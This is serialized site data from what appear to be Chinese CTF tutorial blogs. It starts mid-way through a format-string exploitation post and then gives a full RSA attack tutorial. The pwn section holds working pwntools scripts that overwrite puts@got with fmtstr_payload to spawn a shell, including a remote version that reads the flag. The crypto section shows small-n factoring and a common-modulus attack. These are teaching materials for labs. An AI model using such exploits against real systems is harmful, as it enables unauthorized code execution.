0;\n}\n",[19,10415,10416,10420,10424,10428,10432,10436,10440,10444,10448,10452,10456,10460,10464,10468,10473,10477],{"__ignoreMap":33},[37,10417,10418],{"class":39,"line":40},[37,10419,2552],{},[37,10421,10422],{"class":39,"line":60},[37,10423,2557],{},[37,10425,10426],{"class":39,"line":71},[37,10427,133],{"emptyLinePlaceholder":132},[37,10429,10430],{"class":39,"line":136},[37,10431,2566],{},[37,10433,10434],{"class":39,"line":142},[37,10435,2571],{},[37,10437,10438],{"class":39,"line":148},[37,10439,2576],{},[37,10441,10442],{"class":39,"line":154},[37,10443,133],{"emptyLinePlaceholder":132},[37,10445,10446],{"class":39,"line":159},[37,10447,2608],{},[37,10449,10450],{"class":39,"line":165},[37,10451,9861],{},[37,10453,10454],{"class":39,"line":171},[37,10455,2613],{},[37,10457,10458],{"class":39,"line":177},[37,10459,9870],{},[37,10461,10462],{"class":39,"line":183},[37,10463,9875],{},[37,10465,10466],{"class":39,"line":189},[37,10467,9880],{},[37,10469,10470],{"class":39,"line":195},[37,10471,10472],{},"    puts(\"Done\");         // 触发 puts@got → win\n",[37,10474,10475],{"class":39,"line":200},[37,10476,2633],{},[37,10478,10479],{"class":39,"line":206},[37,10480,2576],{},[28,10482,10484],{"className":30,"code":10483,"language":32,"meta":33,"style":33},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2     # 需为 Partial RELRO，GOT 可写\n",[19,10485,10486,10502],{"__ignoreMap":33},[37,10487,10488,10490,10492,10495,10498,10500],{"class":39,"line":40},[37,10489,2650],{"class":43},[37,10491,2653],{"class":479},[37,10493,10494],{"class":47}," fmt2",[37,10496,10497],{"class":47}," fmt2.c",[37,10499,2662],{"class":479},[37,10501,2665],{"class":479},[37,10503,10504,10506,10508,10511],{"class":39,"line":60},[37,10505,2701],{"class":43},[37,10507,2704],{"class":47},[37,10509,10510],{"class":47}," ./fmt2",[37,10512,10513],{"class":1060},"     # 需为 Partial RELRO，GOT 可写\n",[15,10515,10516],{},"利用脚本：",[28,10518,10520],{"className":113,"code":10519,"language":115,"meta":33,"style":33},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n#   第一个参数 offset：输入在参数列表中的位置；\n#   第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[19,10521,10522,10526,10530,10535,10540,10545,10549,10554,10559,10564,10569,10574,10579,10584,10588,10592],{"__ignoreMap":33},[37,10523,10524],{"class":39,"line":40},[37,10525,2809],{},[37,10527,10528],{"class":39,"line":60},[37,10529,133],{"emptyLinePlaceholder":132},[37,10531,10532],{"class":39,"line":71},[37,10533,10534],{},"context.binary = elf = ELF('./fmt2')\n",[37,10536,10537],{"class":39,"line":136},[37,10538,10539],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[37,10541,10542],{"class":39,"line":142},[37,10543,10544],{},"p = process('./fmt2')\n",[37,10546,10547],{"class":39,"line":148},[37,10548,133],{"emptyLinePlaceholder":132},[37,10550,10551],{"class":39,"line":154},[37,10552,10553],{},"offset = 6\n",[37,10555,10556],{"class":39,"line":159},[37,10557,10558],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[37,10560,10561],{"class":39,"line":165},[37,10562,10563],{},"# fmtstr_payload(offset, writes)：\n",[37,10565,10566],{"class":39,"line":171},[37,10567,10568],{},"#   第一个参数 offset：输入在参数列表中的位置；\n",[37,10570,10571],{"class":39,"line":177},[37,10572,10573],{},"#   第二个参数是字典 {目标地址: 要写入的值}。\n",[37,10575,10576],{"class":39,"line":183},[37,10577,10578],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[37,10580,10581],{"class":39,"line":189},[37,10582,10583],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n",[37,10585,10586],{"class":39,"line":195},[37,10587,133],{"emptyLinePlaceholder":132},[37,10589,10590],{"class":39,"line":200},[37,10591,3002],{},[37,10593,10594],{"class":39,"line":206},[37,10595,3090],{},[15,10597,10598,10601],{},[19,10599,10600],{},"fmtstr_payload"," 自动完成：",[1910,10603,10604,10609,10616,10625],{},[1913,10605,1918,10606,10608],{},[19,10607,2775],{}," 地址拆成低 2 字节和高 2 字节。",[1913,10610,10611,10612,10615],{},"生成 ",[19,10613,10614],{},"%c"," 控制打印量。",[1913,10617,10618,10619,991,10621,10624],{},"把两个目标地址（",[19,10620,10403],{},[19,10622,10623],{},"puts@got+2","）放到对应参数位置。",[1913,10626,10627,10628,10630],{},"用 ",[19,10629,10368],{}," 分别写入。",[15,10632,10633,10634,10637,10638,10640],{},"预期结果：程序执行 ",[19,10635,10636],{},"puts(\"Done\")"," 时实际调用 ",[19,10639,3115],{},"，进入 shell。",[10,10642,3124],{"id":3123},[943,10644,10645,10655],{},[946,10646,10647],{},[949,10648,10649,10651,10653],{},[952,10650,954],{},[952,10652,3135],{},[952,10654,3138],{},[962,10656,10657,10675,10687],{},[949,10658,10659,10661,10673],{},[967,10660,3145],{},[967,10662,10663,991,10665,991,10668,1139,10670],{},[19,10664,10600],{},[19,10666,10667],{},"FmtStr",[19,10669,3163],{},[19,10671,10672],{},"recvuntil",[967,10674,3167],{},[949,10676,10677,10679,10682],{},[967,10678,3172],{},[967,10680,10681],{},"看 RELRO、Canary、PIE",[967,10683,10684],{},[19,10685,10686],{},"pwn checksec ./fmt2",[949,10688,10689,10691,10694],{},[967,10690,9657],{},[967,10692,10693],{},"断点、看栈、验证参数位置",[967,10695,10696,991,10699],{},[19,10697,10698],{},"break main",[19,10700,3196],{},[10,10702,10704],{"id":10703},"九小-ctf-实战","九、小 CTF 实战",[15,10706,10707,10708,10711],{},"题目：远程运行 ",[19,10709,10710],{},"fmt2","（Partial RELRO、No PIE）。",[15,10713,10714,10716,10717,10720],{},[107,10715,336],{},"：与本地脚本唯一区别是 ",[19,10718,10719],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[28,10722,10724],{"className":113,"code":10723,"language":115,"meta":33,"style":33},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[19,10725,10726,10730,10734,10738,10743,10747,10752,10756,10760],{"__ignoreMap":33},[37,10727,10728],{"class":39,"line":40},[37,10729,2809],{},[37,10731,10732],{"class":39,"line":60},[37,10733,133],{"emptyLinePlaceholder":132},[37,10735,10736],{"class":39,"line":71},[37,10737,10534],{},[37,10739,10740],{"class":39,"line":136},[37,10741,10742],{},"p = remote('1.2.3.4', 10002)\n",[37,10744,10745],{"class":39,"line":142},[37,10746,133],{"emptyLinePlaceholder":132},[37,10748,10749],{"class":39,"line":148},[37,10750,10751],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[37,10753,10754],{"class":39,"line":154},[37,10755,3002],{},[37,10757,10758],{"class":39,"line":159},[37,10759,3296],{},[37,10761,10762],{"class":39,"line":165},[37,10763,3090],{},[15,10765,1310],{},[28,10767,10770],{"className":10768,"code":10769,"language":97,"meta":33},[95],"flag{format_string}\n",[19,10771,10769],{"__ignoreMap":33},[10,10773,3317],{"id":3316},[15,10775,10776,10777,1139,10779,10781,10782,10784],{},"格式化字符串提供两种原语：",[19,10778,9808],{},[19,10780,9823],{}," 任意读，",[19,10783,9829],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[1144,10786,10787],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":33,"searchDepth":60,"depth":60,"links":10789},[10790,10791,10792,10793,10794,10795,10796,10797,10798,10799],{"id":9779,"depth":71,"text":9780},{"id":9833,"depth":71,"text":9834},{"id":9912,"depth":71,"text":9913},{"id":9968,"depth":71,"text":9969},{"id":10135,"depth":71,"text":10136},{"id":10288,"depth":71,"text":10289},{"id":10384,"depth":71,"text":10385},{"id":3123,"depth":71,"text":3124},{"id":10703,"depth":71,"text":10704},{"id":3316,"depth":71,"text":3317},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。",{"date":1160,"image":4345,"alt":10802,"tags":10803,"published":132},"格式化字符串深入实战",[1164,2701,10804,1167],"格式化字符串","/blogs/ctf-pwn-format-string-deep-dive",{"title":9774,"description":10800},"blogs/18. ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",{"id":10810,"title":10811,"body":10812,"description":11779,"extension":1158,"meta":11780,"navigation":132,"ogImage":8667,"path":11784,"seo":11785,"stem":11786,"__hash__":11787},"content/blogs/19. ctf-crypto-rsa-deep-dive.md","RSA 深入实战：原理、小 n 分解与共模攻击",{"type":7,"value":10813,"toc":11767},[10814,10818,10821,10824,10847,10860,10862,10878,10882,10888,10891,10906,10910,10915,10920,11009,11011,11017,11024,11028,11033,11038,11042,11061,11063,11069,11075,11079,11084,11169,11171,11177,11186,11190,11198,11227,11231,11235,11245,11251,11255,11260,11265,11272,11278,11281,11287,11291,11454,11456,11462,11466,11533,11535,11596,11605,11607,11609,11615,11618,11622,11627,11641,11643,11649,11653,11662,11712,11714,11720,11724,11756,11758,11765],[10,10815,10817],{"id":10816},"一现实背景dh-与公钥密码学","一、现实背景：DH 与公钥密码学",[15,10819,10820],{},"HTTPS（TLS）流程中：先用 DH 协商对称密钥，再用 RSA/ECDSA 证书认证身份。DH 解决\"公开信道建立共享密钥\"，RSA 解决\"身份认证与加密\"。",[15,10822,10823],{},"DH 最小实现（见密码学全景篇）：",[28,10825,10827],{"className":113,"code":10826,"language":115,"meta":33,"style":33},"p, g = 0xffffffffffffffc5, 2\na, b = 1234567, 7654321\nA, B = pow(g, a, p), pow(g, b, p)\nassert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[19,10828,10829,10833,10837,10842],{"__ignoreMap":33},[37,10830,10831],{"class":39,"line":40},[37,10832,3981],{},[37,10834,10835],{"class":39,"line":60},[37,10836,3996],{},[37,10838,10839],{"class":39,"line":71},[37,10840,10841],{},"A, B = pow(g, a, p), pow(g, b, p)\n",[37,10843,10844],{"class":39,"line":136},[37,10845,10846],{},"assert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[15,10848,10849,10850,10853,10854,991,10856,10859],{},"RSA 的安全基础是：已知 ",[19,10851,10852],{},"n"," 求 ",[19,10855,15],{},[19,10857,10858],{},"q","（分解）在计算上不可行。CTF 题把参数做小或做错，让分解或绕过分解成为可能。",[10,10861,26],{"id":25},[28,10863,10864],{"className":30,"code":3569,"language":32,"meta":33,"style":33},[19,10865,10866],{"__ignoreMap":33},[37,10867,10868,10870,10872,10874,10876],{"class":39,"line":40},[37,10869,63],{"class":43},[37,10871,48],{"class":47},[37,10873,3580],{"class":47},[37,10875,3583],{"class":47},[37,10877,3586],{"class":47},[10,10879,10881],{"id":10880},"三核心知识rsa-公式","三、核心知识：RSA 公式",[28,10883,10886],{"className":10884,"code":10885,"language":97,"meta":33},[95],"n = p × q\nφ(n) = (p-1)(q-1)\ne × d ≡ 1 (mod φ(n))        # d 是 e 的模逆元\n加密：c = m^e mod n\n解密：m = c^d mod n\n",[19,10887,10885],{"__ignoreMap":33},[15,10889,10890],{},"三个必须会用的 Python 运算：",[28,10892,10894],{"className":113,"code":10893,"language":115,"meta":33,"style":33},"pow(3, 4, 7)        # 快速幂取模 = 4\npow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[19,10895,10896,10901],{"__ignoreMap":33},[37,10897,10898],{"class":39,"line":40},[37,10899,10900],{},"pow(3, 4, 7)        # 快速幂取模 = 4\n",[37,10902,10903],{"class":39,"line":60},[37,10904,10905],{},"pow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[10,10907,10909],{"id":10908},"四核心步骤-1手算验证","四、核心步骤 1：手算验证",[15,10911,10912,10914],{},[107,10913,109],{},"：用最小参数亲手跑通 RSA 的生成与加解密，确认公式理解正确。",[15,10916,10917,10919],{},[107,10918,336],{},"：先算 n 与 φ(n)，再求 d（e 的模逆元），最后验证 pow(c,d,n) 能还原 m。这四步是后面所有攻击的基础。",[28,10921,10923],{"className":113,"code":10922,"language":115,"meta":33,"style":33},"p, q, e = 61, 53, 17\nn = p * q\n# n = 3233，公钥模数。\nphi = (p - 1) * (q - 1)\n# φ(n) = 60 × 52 = 3120，欧拉函数值。\nd = pow(e, -1, phi)\n# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n\nm = 65\nc = pow(m, e, n)\n# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\nprint(\"n =\", n)\nprint(\"phi =\", phi)\nprint(\"d =\", d)\nprint(\"c =\", c)\nprint(\"解密 =\", pow(c, d, n))\n# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[19,10924,10925,10930,10935,10940,10945,10950,10955,10960,10964,10969,10974,10979,10984,10989,10994,10999,11004],{"__ignoreMap":33},[37,10926,10927],{"class":39,"line":40},[37,10928,10929],{},"p, q, e = 61, 53, 17\n",[37,10931,10932],{"class":39,"line":60},[37,10933,10934],{},"n = p * q\n",[37,10936,10937],{"class":39,"line":71},[37,10938,10939],{},"# n = 3233，公钥模数。\n",[37,10941,10942],{"class":39,"line":136},[37,10943,10944],{},"phi = (p - 1) * (q - 1)\n",[37,10946,10947],{"class":39,"line":142},[37,10948,10949],{},"# φ(n) = 60 × 52 = 3120，欧拉函数值。\n",[37,10951,10952],{"class":39,"line":148},[37,10953,10954],{},"d = pow(e, -1, phi)\n",[37,10956,10957],{"class":39,"line":154},[37,10958,10959],{},"# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n",[37,10961,10962],{"class":39,"line":159},[37,10963,133],{"emptyLinePlaceholder":132},[37,10965,10966],{"class":39,"line":165},[37,10967,10968],{},"m = 65\n",[37,10970,10971],{"class":39,"line":171},[37,10972,10973],{},"c = pow(m, e, n)\n",[37,10975,10976],{"class":39,"line":177},[37,10977,10978],{},"# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\n",[37,10980,10981],{"class":39,"line":183},[37,10982,10983],{},"print(\"n =\", n)\n",[37,10985,10986],{"class":39,"line":189},[37,10987,10988],{},"print(\"phi =\", phi)\n",[37,10990,10991],{"class":39,"line":195},[37,10992,10993],{},"print(\"d =\", d)\n",[37,10995,10996],{"class":39,"line":200},[37,10997,10998],{},"print(\"c =\", c)\n",[37,11000,11001],{"class":39,"line":206},[37,11002,11003],{},"print(\"解密 =\", pow(c, d, n))\n",[37,11005,11006],{"class":39,"line":212},[37,11007,11008],{},"# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[15,11010,456],{},[28,11012,11015],{"className":11013,"code":11014,"language":97,"meta":33},[95],"n = 3233\nphi = 3120\nd = 2753\nc = 2790\n解密 = 65\n",[19,11016,11014],{"__ignoreMap":33},[15,11018,11019,11020,11023],{},"攻击者只有 ",[19,11021,11022],{},"(n=3233, e=17, c=2790)","，没有 d。要解密，第一步就是分解 n。",[10,11025,11027],{"id":11026},"五核心步骤-2小-n-分解","五、核心步骤 2：小 n 分解",[15,11029,11030,11032],{},[107,11031,109],{},"：拿到公钥后第一步永远是\"尝试分解 n\"——一旦分解成功，私钥直接可算。",[15,11034,11035,11037],{},[107,11036,336],{},"：n 小 → 本地工具直接分解；n 大 → 先查 FactorDB 是否有人分解过。分解出 p、q 后按公式算出 d 解密。",[85,11039,11041],{"id":11040},"_51-用-sympy-分解","5.1 用 sympy 分解",[28,11043,11045],{"className":113,"code":11044,"language":115,"meta":33,"style":33},"from sympy import factorint\n\nprint(factorint(3233))\n",[19,11046,11047,11052,11056],{"__ignoreMap":33},[37,11048,11049],{"class":39,"line":40},[37,11050,11051],{},"from sympy import factorint\n",[37,11053,11054],{"class":39,"line":60},[37,11055,133],{"emptyLinePlaceholder":132},[37,11057,11058],{"class":39,"line":71},[37,11059,11060],{},"print(factorint(3233))\n",[15,11062,456],{},[28,11064,11067],{"className":11065,"code":11066,"language":97,"meta":33},[95],"{53: 1, 61: 1}\n",[19,11068,11066],{"__ignoreMap":33},[15,11070,11071,11072,490],{},"得到 ",[19,11073,11074],{},"p=53, q=61",[85,11076,11078],{"id":11077},"_52-完整解密验证公式","5.2 完整解密（验证公式）",[15,11080,11081,11083],{},[107,11082,336],{},"：分解得到 p、q → 算 φ(n) → 算 d → pow(c,d,n) → long_to_bytes 转回文本。",[28,11085,11087],{"className":113,"code":11086,"language":115,"meta":33,"style":33},"from Crypto.Util.number import long_to_bytes\n# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n\nn = 3233\ne = 17\nc = 2790\np, q = 53, 61\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\n# 解密：m = c^d mod n。\n\nprint(\"m =\", m)\nprint(long_to_bytes(m))\n# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[19,11088,11089,11094,11099,11103,11108,11113,11118,11123,11127,11131,11135,11140,11145,11149,11154,11159,11164],{"__ignoreMap":33},[37,11090,11091],{"class":39,"line":40},[37,11092,11093],{},"from Crypto.Util.number import long_to_bytes\n",[37,11095,11096],{"class":39,"line":60},[37,11097,11098],{},"# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n",[37,11100,11101],{"class":39,"line":71},[37,11102,133],{"emptyLinePlaceholder":132},[37,11104,11105],{"class":39,"line":136},[37,11106,11107],{},"n = 3233\n",[37,11109,11110],{"class":39,"line":142},[37,11111,11112],{},"e = 17\n",[37,11114,11115],{"class":39,"line":148},[37,11116,11117],{},"c = 2790\n",[37,11119,11120],{"class":39,"line":154},[37,11121,11122],{},"p, q = 53, 61\n",[37,11124,11125],{"class":39,"line":159},[37,11126,133],{"emptyLinePlaceholder":132},[37,11128,11129],{"class":39,"line":165},[37,11130,10944],{},[37,11132,11133],{"class":39,"line":171},[37,11134,10954],{},[37,11136,11137],{"class":39,"line":177},[37,11138,11139],{},"m = pow(c, d, n)\n",[37,11141,11142],{"class":39,"line":183},[37,11143,11144],{},"# 解密：m = c^d mod n。\n",[37,11146,11147],{"class":39,"line":189},[37,11148,133],{"emptyLinePlaceholder":132},[37,11150,11151],{"class":39,"line":195},[37,11152,11153],{},"print(\"m =\", m)\n",[37,11155,11156],{"class":39,"line":200},[37,11157,11158],{},"print(long_to_bytes(m))\n",[37,11160,11161],{"class":39,"line":206},[37,11162,11163],{},"# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n",[37,11165,11166],{"class":39,"line":212},[37,11167,11168],{},"# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[15,11170,456],{},[28,11172,11175],{"className":11173,"code":11174,"language":97,"meta":33},[95],"m = 65\nb'A'\n",[19,11176,11174],{"__ignoreMap":33},[15,11178,11179,11182,11183,11185],{},[19,11180,11181],{},"65"," 对应的 ASCII 字符是 ",[19,11184,3016],{},"。真实的明文是 flag 对应的长整数，但解密公式完全相同。",[85,11187,11189],{"id":11188},"_53-用-factordb-查","5.3 用 FactorDB 查",[15,11191,11192,11193,11197],{},"如果 n 太大本地分解不动，去 ",[3591,11194,11195],{"href":11195,"rel":11196},"https://factordb.com",[3595]," 粘贴 n 查询，或：",[28,11199,11201],{"className":113,"code":11200,"language":115,"meta":33,"style":33},"from factordb.factordb import FactorDB\n\nf = FactorDB(n)\nf.connect()\np, q = f.get_factor_list()\n",[19,11202,11203,11208,11212,11217,11222],{"__ignoreMap":33},[37,11204,11205],{"class":39,"line":40},[37,11206,11207],{},"from factordb.factordb import FactorDB\n",[37,11209,11210],{"class":39,"line":60},[37,11211,133],{"emptyLinePlaceholder":132},[37,11213,11214],{"class":39,"line":71},[37,11215,11216],{},"f = FactorDB(n)\n",[37,11218,11219],{"class":39,"line":136},[37,11220,11221],{},"f.connect()\n",[37,11223,11224],{"class":39,"line":142},[37,11225,11226],{},"p, q = f.get_factor_list()\n",[10,11228,11230],{"id":11229},"六核心步骤-3共模攻击","六、核心步骤 3：共模攻击",[85,11232,11234],{"id":11233},"_61-场景","6.1 场景",[15,11236,11237,11238,11240,11241,11244],{},"同一个 ",[19,11239,10852],{},"、两个互质的 ",[19,11242,11243],{},"e1, e2","、同一明文：",[28,11246,11249],{"className":11247,"code":11248,"language":97,"meta":33},[95],"c1 = m^e1 mod n\nc2 = m^e2 mod n\n",[19,11250,11248],{"__ignoreMap":33},[85,11252,11254],{"id":11253},"_62-数学原理","6.2 数学原理",[15,11256,11257,11259],{},[107,11258,109],{},"：理解为什么\"两个密文能拼出明文\"。",[15,11261,11262,11264],{},[107,11263,336],{},"：扩展欧几里得求出 a、b 使 a×e1+b×e2=1；把两个密文分别取 a、b 次方再相乘，指数恰好合并成 1，明文就还原了。验证方式：恢复结果与原始 m 相等。",[15,11266,11267,11268,11271],{},"扩展欧几里得算法求出 ",[19,11269,11270],{},"a, b"," 使：",[28,11273,11276],{"className":11274,"code":11275,"language":97,"meta":33},[95],"a × e1 + b × e2 = 1\n",[19,11277,11275],{"__ignoreMap":33},[15,11279,11280],{},"则：",[28,11282,11285],{"className":11283,"code":11284,"language":97,"meta":33},[95],"c1^a × c2^b\n= m^(a×e1) × m^(b×e2)\n= m^(a×e1 + b×e2)\n= m^1 = m (mod n)\n",[19,11286,11284],{"__ignoreMap":33},[85,11288,11290],{"id":11289},"_63-完整代码","6.3 完整代码",[28,11292,11294],{"className":113,"code":11293,"language":115,"meta":33,"style":33},"def egcd(a, b):\n    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n    if b == 0:\n        return a, 1, 0\n    g, x, y = egcd(b, a % b)\n    return g, y, x - (a // b) * y\n\nn = 3233\ne1, e2 = 17, 19\nm = 65\nc1 = pow(m, e1, n)      # 2790：e1 加密结果\nc2 = pow(m, e2, n)      # 232：e2 加密结果\n\n_, a, b = egcd(e1, e2)\n# 忽略第一个返回值（gcd=1），取 a、b。\nprint(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n\n# 负指数要先取模逆元\nif a \u003C 0:\n    c1 = pow(pow(c1, -1, n), -a, n)\n    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\nelse:\n    c1 = pow(c1, a, n)\nif b \u003C 0:\n    c2 = pow(pow(c2, -1, n), -b, n)\nelse:\n    c2 = pow(c2, b, n)\n\nrecovered = (c1 * c2) % n\n# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\nprint(\"恢复 m =\", recovered)\n# 预期 65，与原始 m 相等，攻击成功。\n",[19,11295,11296,11301,11306,11311,11316,11321,11326,11330,11334,11339,11343,11348,11353,11357,11362,11367,11372,11377,11381,11386,11391,11396,11401,11406,11411,11416,11421,11425,11430,11434,11439,11444,11449],{"__ignoreMap":33},[37,11297,11298],{"class":39,"line":40},[37,11299,11300],{},"def egcd(a, b):\n",[37,11302,11303],{"class":39,"line":60},[37,11304,11305],{},"    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n",[37,11307,11308],{"class":39,"line":71},[37,11309,11310],{},"    if b == 0:\n",[37,11312,11313],{"class":39,"line":136},[37,11314,11315],{},"        return a, 1, 0\n",[37,11317,11318],{"class":39,"line":142},[37,11319,11320],{},"    g, x, y = egcd(b, a % b)\n",[37,11322,11323],{"class":39,"line":148},[37,11324,11325],{},"    return g, y, x - (a // b) * y\n",[37,11327,11328],{"class":39,"line":154},[37,11329,133],{"emptyLinePlaceholder":132},[37,11331,11332],{"class":39,"line":159},[37,11333,11107],{},[37,11335,11336],{"class":39,"line":165},[37,11337,11338],{},"e1, e2 = 17, 19\n",[37,11340,11341],{"class":39,"line":171},[37,11342,10968],{},[37,11344,11345],{"class":39,"line":177},[37,11346,11347],{},"c1 = pow(m, e1, n)      # 2790：e1 加密结果\n",[37,11349,11350],{"class":39,"line":183},[37,11351,11352],{},"c2 = pow(m, e2, n)      # 232：e2 加密结果\n",[37,11354,11355],{"class":39,"line":189},[37,11356,133],{"emptyLinePlaceholder":132},[37,11358,11359],{"class":39,"line":195},[37,11360,11361],{},"_, a, b = egcd(e1, e2)\n",[37,11363,11364],{"class":39,"line":200},[37,11365,11366],{},"# 忽略第一个返回值（gcd=1），取 a、b。\n",[37,11368,11369],{"class":39,"line":206},[37,11370,11371],{},"print(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n",[37,11373,11374],{"class":39,"line":212},[37,11375,11376],{},"# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n",[37,11378,11379],{"class":39,"line":218},[37,11380,133],{"emptyLinePlaceholder":132},[37,11382,11383],{"class":39,"line":224},[37,11384,11385],{},"# 负指数要先取模逆元\n",[37,11387,11388],{"class":39,"line":230},[37,11389,11390],{},"if a \u003C 0:\n",[37,11392,11393],{"class":39,"line":236},[37,11394,11395],{},"    c1 = pow(pow(c1, -1, n), -a, n)\n",[37,11397,11398],{"class":39,"line":241},[37,11399,11400],{},"    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\n",[37,11402,11403],{"class":39,"line":247},[37,11404,11405],{},"else:\n",[37,11407,11408],{"class":39,"line":253},[37,11409,11410],{},"    c1 = pow(c1, a, n)\n",[37,11412,11413],{"class":39,"line":258},[37,11414,11415],{},"if b \u003C 0:\n",[37,11417,11418],{"class":39,"line":264},[37,11419,11420],{},"    c2 = pow(pow(c2, -1, n), -b, n)\n",[37,11422,11423],{"class":39,"line":270},[37,11424,11405],{},[37,11426,11427],{"class":39,"line":276},[37,11428,11429],{},"    c2 = pow(c2, b, n)\n",[37,11431,11432],{"class":39,"line":281},[37,11433,133],{"emptyLinePlaceholder":132},[37,11435,11436],{"class":39,"line":287},[37,11437,11438],{},"recovered = (c1 * c2) % n\n",[37,11440,11441],{"class":39,"line":293},[37,11442,11443],{},"# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\n",[37,11445,11446],{"class":39,"line":299},[37,11447,11448],{},"print(\"恢复 m =\", recovered)\n",[37,11450,11451],{"class":39,"line":305},[37,11452,11453],{},"# 预期 65，与原始 m 相等，攻击成功。\n",[15,11455,456],{},[28,11457,11460],{"className":11458,"code":11459,"language":97,"meta":33},[95],"a = 9 b = -8 a*e1+b*e2 = 1\n恢复 m = 65\n",[19,11461,11459],{"__ignoreMap":33},[10,11463,11465],{"id":11464},"七其他常见攻击速查","七、其他常见攻击速查",[943,11467,11468,11478],{},[946,11469,11470],{},[949,11471,11472,11475],{},[952,11473,11474],{},"场景",[952,11476,11477],{},"攻击",[962,11479,11480,11498,11506,11514,11522],{},[949,11481,11482,11491],{},[967,11483,11484,11487,11488],{},[19,11485,11486],{},"e=3"," 且 ",[19,11489,11490],{},"m^e \u003C n",[967,11492,11493,11494,11497],{},"直接开立方根（",[19,11495,11496],{},"gmpy2.iroot(c, 3)","）",[949,11499,11500,11503],{},[967,11501,11502],{},"同一明文发给 3 个不同 n",[967,11504,11505],{},"Håstad 广播攻击（中国剩余定理 + 开方）",[949,11507,11508,11511],{},[967,11509,11510],{},"e 特别大（d 很小）",[967,11512,11513],{},"Wiener 攻击（连分数）",[949,11515,11516,11519],{},[967,11517,11518],{},"p、q 很接近",[967,11520,11521],{},"Fermat 分解（平方差）",[949,11523,11524,11527],{},[967,11525,11526],{},"泄露 dp",[967,11528,11529,11530],{},"枚举 k，",[19,11531,11532],{},"p = (e*dp-1)//k + 1",[10,11534,3124],{"id":3123},[943,11536,11537,11547],{},[946,11538,11539],{},[949,11540,11541,11543,11545],{},[952,11542,954],{},[952,11544,3135],{},[952,11546,3138],{},[962,11548,11549,11567,11583],{},[949,11550,11551,11554,11565],{},[967,11552,11553],{},"pycryptodome",[967,11555,11556,991,11559,991,11562],{},[19,11557,11558],{},"long_to_bytes",[19,11560,11561],{},"inverse",[19,11563,11564],{},"pow(m,e,n)",[967,11566,3167],{},[949,11568,11569,11572,11578],{},[967,11570,11571],{},"sympy",[967,11573,11574,11577],{},[19,11575,11576],{},"factorint"," 